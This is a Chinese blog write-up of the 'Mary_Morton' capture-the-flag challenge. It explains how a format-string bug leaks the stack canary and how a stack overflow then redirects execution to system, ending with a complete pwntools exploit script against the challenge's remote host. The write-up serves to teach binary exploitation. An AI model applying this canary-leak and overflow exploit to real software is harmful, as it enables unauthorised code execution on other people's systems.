攻防世界-Mary_Morton

7 篇文章 0 订阅
本文详细探讨了一种针对开启Canary保护的AMD64程序,如何通过格式化字符串漏洞泄露Canary值,并利用栈溢出进行攻击的方法。分析了函数sub_4008EB和sub_400960中的漏洞,确定了Canary偏移量,构造了payload来获取Canary并覆盖返回地址,最终实现远程代码执行。实验中使用了gdb进行动态分析,明确了利用步骤和payload构造过程。
摘要由CSDN通过智能技术生成

检查文件信息

在这里插入图片描述

amd64-elf文件
开启了Canary保护
开启了NX保护

ida静态分析

在这里插入图片描述
进入到sub_4008EB函数 格式化字符串漏洞
在这里插入图片描述
另外进入到sub_400960()函数有栈溢出漏洞
在这里插入图片描述
在这里插入图片描述

但是有一点开启了Canary 那么我们可以通过 格式化字符串任意读 泄露Canary地址 然后利用这个地址来进行溢出漏洞的利用 栈分布如图
在这里插入图片描述
而我们知道 v2就是用来储存canary的值的变量
而buf 大小位0x90
v2的大小位 0x8
覆盖return addr,需要0x90-0x8=0x88大小去覆盖,然后放上canary的值,0覆盖ebp,最后返回地址改为system的返回地址既可以

在这里插入图片描述
但是我们要确定偏移地址
所以我们用gdb确定偏移地址是6位
但是因为是amd64位
所以有8个寄存器来存值
继而
偏移量为 0x88/0x8 = 0x11 也就是17
那么 17+6 = 23就是canary的值
格式化 payload = ‘%23$p’
在这里插入图片描述

exp

#_*_coding:utf-8_*_
from pwn import *
import sys
context.log_level = 'debug'
ip = '111.200.241.244'
port = 60960
if sys.argv[1] == 'remote':
    io = remote(ip,port)
    #elf = ELF('./Mary_Morton')
else:
    io = process('./Mary_Morton')
    #elf = ELF('./Mary_Morton')

#buf ---> (0x90 - 0x8) / 0x8 = 0x11  |||  0x11+6
io.recvuntil("Select your weapon ")
io.sendline("2")
system_addr = 0x004008DA
payload = "%23$p"
io.sendline(payload)
io.recvuntil("0x")
canary_addr = int(io.recv(16),16)
print(hex(canary_addr))
io.recvuntil("3. Exit the battle ")
io.sendline("1")
payload = "a" * 0x88 + p64(canary_addr)+p64(0)+p64(system_addr)
io.sendline(payload)
io.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值